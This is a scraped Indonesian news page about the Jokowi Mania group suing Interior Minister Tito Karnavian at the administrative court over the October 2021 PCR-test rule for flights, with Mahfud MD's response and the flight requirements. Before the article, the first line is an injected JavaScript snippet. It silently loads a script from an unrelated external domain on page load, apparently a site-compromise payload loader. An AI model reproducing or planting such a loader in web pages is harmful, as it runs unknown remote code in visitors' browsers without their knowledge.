(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Joman Gugat Mendagri ke PTUN Gegara Tes PCR, Mahfud: Aturan Atas Perintah Sidang Kabinet


KANALKALIMANTAN.COM – Relawan Jokowi Mania atau Joman resmi menggugat Menteri Dalam Negeri (Mendagri) ke Pengadilan Tata Usaha Negara (PTUN) terkait syarat wajib tes PCR untuk penumpang pesawat. Ketika ditanyakan soal itu, Menteri Koordinator bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD menilai kalau aturan tersebut dibuat bukan atas dasar semata-mata kemauan Tito.

Aturan syarat wajib tes PCR untuk penerbangan itu tertuang dalam Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 36, 47 dan 53 Tentang PPKM. Kata Mahfud, aturan itu sebelumnya sudah dirumuskan melalui sidang kabinet.

“Inmendagri itu dirilis oleh Mendagri berdasar keputusan sidang kabinet untuk tetap menjaga agar pelandaian Covid-19 terjaga. Mendagri membuat itu bukan semau-maunya sendiri tapi atas perintah sidang kabinet,” kata Mahfud saat dihubungi wartawan, Selasa (26/10/2021).

Di sisi lain, Mahfud juga menilai benar atau tidaknya gugatan itu dilayangkan tergantung pada putusan PTUN.

 

Baca juga : Potensi Wisata Air Terjun Batarius Didatangi Tim Peneliti Unibraw

“Soal benar atau tidaknya gugatan ke PTUN itu biar PTUN yang memutus.”

Joman Gugat Mendagri Tito ke PTUN

Menteri Dalam Negeri (Mendagri) Tito Karnavian hari ini resmi digugat oleh Relawan Jokowi Mania atau Joman terkait aturan wajib tes PCR bagi penumpang pesawat sebagaimana tertuang  dalam Instruksi Menteri Dalam Negeri (Mendagri) nomor 36, 47 dan 53. Joman pun menganggap jika Inmedagri yang dikeluarkan Tito Karnavian melanggar Undang Undang Dasar (UUD),

Hal itu disampaikan Ketua Umum Joman, Immanuel Ebenezer setelah laporan gugatannya diterima oleh Pengadilan Tata Usaha Negara (PTUN) Selasa (26/10/2021).

“Inmendagri karena kita lihat bahwa Inmendagri bertentangan dengan pasal 23 ayat A UUD 1945. yaitu, pajak dan pungutan lain yang bersifat memaksa untuk keperluan negara diatur dengan UU. Bukan oleh Inpres, bukan oleh kepmen, bukan juga Inmen. Ini jelas sekali melanggar UU,” katanya.

 

Baca juga : Potensi Anggrek Lokal Balangan, Ini Komentar Ketua PAI Kalsel

Relawan Jokowi ini pun mencurigai jika syarat tes PCR merupakan permainan mafia pandemi untuk mencari keuntungan saat rakyat sedang susah.

“Nah kami gak tahu maksudnya PCR ini karena aspek medis atau aspek bisnis. Karena sampai detik ini kami enggak tahu maksud dan tujuannya. Karena tugas kami yang jelas sebagai pendukung presiden akan memberhentikan pesta pora-para mafia pandemi,” kata dia.

Jika gugatannya tersebut dikabulkan maka syarat tes PCR terhadap masyarakat bisa dihapuskan atau dibebaskan. Ia menilai aturan tersebut berbahaya dan hanya memeras rakyat.

“Karena begini, rakyat bukannya tidak mau diatur, persoalannya rakyat jangan diperas dibalik aturan pemerintah atau apapun namanya. Ini bahaya, kasihan presiden dan masyarakat hari ini yang sudah susah menganggur karena tidak ada pekerjaan kemudian baru melakukan aktivitas pekerjaan ke luar kota harga tiket cuma 700 ribu tidak sebanding dengan harga PCR yang 900 ribu, 1,5 juta,” tandasnya.

 

Baca juga : Pemotor Tabrak Pejalan Kaki di Panglima Batur Dekat Balai Kota

 

Syarat Wajib Tes PCR

Berikut syarat penerbangan domestik yang mulai berlaku pada 24 Oktober 2021:

Tujuan ke Jawa – Bali (juga diatur InMendagri No. 53 tahun 2021):

– Wajib 2 dokumen yaitu kartu vaksin minimal dosis pertama dan surat keterangan hasil negatif tes RT-PCR (2 x 24 jam sebelum keberangkatan).

Tujuan ke non Jawa – Bali level 3 dan 4, (juga diatur InMendagri nomor 54 tahun 2021):

– Wajib menunjukkan 2 dokumen yaitu kartu vaksin minimal dosis pertama dan surat keterangan hasil negatif tes RT-PCR (2 x 24 jam).

Anak-anak usia kurang dari 12 tahun bisa naik pesawat dengan syarat wajib menunjukkan 1 dokumen yaitu hasil negatif tes COVID-19 sesuai dengan moda transportasi dan daerah tujuannya dan penerapan protokol kesehatan yang ketat. (Suara.com)

Editor : Suara


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

9 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

10 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

10 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

10 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

11 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

11 jam ago

This website uses cookies.